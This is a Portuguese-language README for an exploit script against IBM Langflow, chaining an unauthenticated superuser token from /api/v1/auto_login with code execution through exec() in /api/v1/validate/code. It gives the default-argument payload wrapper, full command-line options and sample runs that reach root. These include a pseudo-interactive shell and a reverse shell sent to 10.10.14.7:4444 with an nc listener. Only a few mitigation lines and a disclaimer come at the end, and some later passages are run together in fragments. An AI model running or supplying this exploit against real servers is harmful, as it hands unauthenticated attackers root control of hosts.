
Execução remota de código não autenticada no IBM Langflow OSS (1.0.0 – 1.10.0) em uma implantação padrão. Combina duas falhas:
GET /api/v1/auto_login emite um JWT de SUPERUSUÁRIO para qualquer
chamador sem credenciais sempre que AUTO_LOGIN estiver habilitado (o padrão no
Langflow < 1.5).POST /api/v1/validate/code passa Python fornecido pelo usuário para
exec() sem sandbox.Juntas (CVE-2026-9198), um atacante não autenticado obtém execução de código como o
usuário de serviço do Langflow — que frequentemente é root.
Solicita um token de portador de superusuário de /api/v1/auto_login (sem autenticação).
Envia um payload para /api/v1/validate/code. O endpoint exec()a o código para
"validá-lo"; o Python avalia valores de argumento padrão em tempo de definição, então
o payload é encapsulado em um argumento padrão de função:
def _v(a=exec('<payload>')): pass
Para execução de comandos, o payload gera uma exceção cuja mensagem é a
saída do comando, que o endpoint reflete de volta na resposta
(function.errors[]).
./exploit.py -t <alvo> [opções]
-t, --target host/IP alvo (ou URL completa) (obrigatório)
-p, --port porta do Langflow (padrão 7860)
-c, --cmd executa um único comando shell, imprime a saída
--shell shell pseudo-interativo (cada linha executa via RCE)
--lhost IP do listener do reverse shell
--lport porta do listener do reverse shell (padrão 4444)
-k, --token usa este token de portador (pula o auto_login)
--timeout tempo limite HTTP em segundos (padrão 20)
--no-banner suprime o banner
-h, --help mostra a ajuda
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow RCE não autenticado
auto_login (token de superusuário) -> validate/code (exec)
[*] solicitando token de superusuário via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmado: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — cada linha executa via uma nova requisição. Ctrl-C / 'exit' para sair.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (inicie `nc -lvnp 4444` primeiro)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] enviando reverse shell para 10.10.14.7:4444 (inicie seu listener primeiro) ...
[+] payload enviado. Verifique seu listener.
pip install)AUTO_LOGIN estiver habilitado (o padrão para Langflow < 1.5; em
>= 1.5 deve estar explicitamente LANGFLOW_AUTO_LOGIN=true). Se auto_login não retornar
token, o alvo não é explorável por este caminho — forneça um token válido com
-k se você tiver um.function.errors[]; stderr é
mesclado ao stdout, então comandos com falha ainda mostram seu erro.root (comum com
langflow run puro sob systemd/Docker como root), isso é root direto no host.validate/code não deve exec()
entrada não confiável e auto_login não deve emitir tokens de superusuário.LANGFLOW_AUTO_LOGIN=false e configure credenciais reais de superusuário.root.Este projeto é publicado apenas para testes de segurança autorizados e fins educacionais. Não o use contra sistemas que você não possui ou sem permissão explícita para testar. O autor não se responsabiliza por uso indevido.